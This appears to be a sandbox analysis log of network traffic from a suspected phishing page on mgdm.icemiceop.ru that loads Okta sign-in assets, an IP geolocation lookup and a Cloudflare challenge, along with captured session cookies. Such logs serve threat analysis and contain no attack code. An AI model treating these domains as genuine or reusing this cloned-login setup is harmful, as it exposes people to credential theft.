XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://mgdm.icemiceop.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uvQYGanMSL6x6xGfaA7GVzRGFyT8fL12igb8xQh80O675vzL55zcI5LppatVproscZ9uDR02JOo1yFc2JONOef260 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijV8ixSgRCDBCx0UvMM6wWp9GMw7hmnNB4TUnoqjqQXIi8wxZKDmZMef210 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xtOcSsbCPudbHNZHXsBRZDYHrluvUKQCACEUXHAGBUUYSFYPJWQLVLHOOpqms3llMPXl3bJqto0v12vtwx36 HTTP/1.1Host: cac4hxpznnk8pam04abnxrqhgbjs9l49hxgfwvjsbrneonbhvxurhxdgrr.magnusxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/img/security/default.png HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/img/ui/forms/checkbox-sign-in-widget.png HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghrACQ3TWSEprKOauvXE1jyI7XUA4ATVlHcd650 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/font/assets/proximanova-sbold-webfont.41acb8650115f83780fc.woff2 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/font/assets/proximanova-light-webfont.aba797dabec6686294a9.woff2 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/img/security/default.png HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/img/ui/forms/checkbox-sign-in-widget.png HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bco/7/fs0etbxjyk4ClUuVr0i7 HTTP/1.1Host: eu1static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bco/7/fs0etbxjyk4ClUuVr0i7 HTTP/1.1Host: eu1static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJKTk4rZ1dadUlFOGtnQ3pFSXQ1TVE9PSIsInZhbHVlIjoiT2podW05S2cvNFpGRmV4N3dVUFdKSkFWSkpEWnNIRktINjFVQy9DYUgwSVNwRkRFVTROUkhsMlhkelltYktsWUJtYTVTcS9hdGVqM1FTNlRheGZ3NGpBNllXemU1Tk1RTUwrWmROVk1UN2lGY2E3ZS9RRVF4a09IYTlQa1pEZjMiLCJtYWMiOiIyZjEyMzJlMDYxMjU2ZGQxZWRlY2FjMjQ1NTBjMWViMzU1NWNkMzM3YWQwNGFkMGQzY2QxZjQzMmIyMWYwYzNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlplRkZVZmxTUjFZWnZDTWhhNC9tdGc9PSIsInZhbHVlIjoicFRUaHlGa052YlJWNE9zYXFhNHFZU21MTElITTVOWGZJb2pMVk51djFuNjNRVnVxVVlQZ2huamxtNWVDNXc3WUN2eFpZNUZ3aDZ1SC9KWW54UTdZdS9kOHVvbWVUblV6bWZFN2RCT3BaQjZWVnBpQ0RGUm1yOUhBV05vSi9qYnIiLCJtYWMiOiI3ZTMzZmJhNjZlYzRhNGYzOWQ2ZmE1ODlhOTkzZDY1MGNjOGNiMTQyYjQ5MzEyN2NmNDk2Yzg5MTE5YTlkYjE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mgdm.icemiceop.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 4eta8m.ajcffp.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: cac4hxpznnk8pam04abnxrqhgbjs9l49hxgfwvjsbrneonbhvxurhxdgrr.magnusxw.es
Source: global traffic	DNS traffic detected: DNS query: eu1static.oktacdn.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3391sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8cf-chl: RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdLcf-chl-ra: 0sec-ch-ua-mobile: ?0Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 13:34:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lS8%2Feq8M7CN6B8GWR5poEYDTS0j3T1816tdkUMPRolPy5vltuU%2FT4GYe573xGbzcd9XtHFxF9Alud8WFRkn4KhJQLqA%2BHob3LqJKAGGde1Jjub5pVVxGo4FzzjdCaU82yCli"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=20536&min_rtt=20452&rtt_var=7730&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2043&delivery_rate=139252&cwnd=252&unsent_bytes=0&cid=27e80ee97fbfa85e&ts=226&x=0"Server: cloudflareCF-RAY: 926f43df5adb4358-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83330&min_rtt=83305&rtt_var=17616&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1700&delivery_rate=36648&cwnd=252&unsent_bytes=0&cid=06c57c3d628883ed&ts=612&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 13:34:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hgASK162uK7RewB95lf2Kxr39SHfg5CRXIMhyJZYpa6ammIfXppvqsqNRxFZ8iFxp9XeGw7ujFfaRu%2BKs9lGT%2FIs32UPPcT4R%2BZ2M%2F38ftNdlBa8zIA3WSQM%2B%2BkDZkbRyUm6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10503&min_rtt=10481&rtt_var=3946&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=2073&delivery_rate=271729&cwnd=252&unsent_bytes=0&cid=05d14fcd1ba37950&ts=435&x=0"Server: cloudflareCF-RAY: 926f43e9ad874406-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=87408&min_rtt=84437&rtt_var=20928&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1731&delivery_rate=36191&cwnd=252&unsent_bytes=0&cid=91c999d201ce1218&ts=797&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 13:34:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B9zcPFxIKrVCYeOW3txqrFo3WWWB6e57XoILViiwqvkcbjGwYU8TweJxzoeyO3c8naNVEcjzbqhsHpVAnCrOwDpSIxMp%2Fw3T8kruByj9%2F44ZDuQ02Ed6FFc2nQUSyg2TEf%2FB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=9865&min_rtt=9694&rtt_var=2877&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2071&delivery_rate=293517&cwnd=251&unsent_bytes=0&cid=5da222254de01a9a&ts=289&x=0"Server: cloudflareCF-RAY: 926f43fd7df24307-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85322&min_rtt=85163&rtt_var=18204&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1728&delivery_rate=35691&cwnd=252&unsent_bytes=0&cid=5fd3afc1caa6f78a&ts=575&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 27 Mar 2025 13:34:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5fySP%2Bmt3WRx30TGk7aYsC34JnR3jvG4Sw8sQDVOOqQ7XJGdKILkynx3Q9ee3wvXV11A2leeR9bd2OYDYQN8%2Fvb2PQD6u2KCIQplNSROGW87TB8v2IGlUYAnatAN163Cly7g"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=20777&min_rtt=20483&rtt_var=7891&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2070&delivery_rate=139042&cwnd=252&unsent_bytes=0&cid=fd629647ff6fc169&ts=221&x=0"Server: cloudflareCF-RAY: 926f44489d07c463-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84235&min_rtt=83409&rtt_var=18440&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1728&delivery_rate=36631&cwnd=252&unsent_bytes=0&cid=9c625fcbad63fd67&ts=604&x=0"

Source: chromecache_138.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_139.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_139.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_138.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_144.1.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
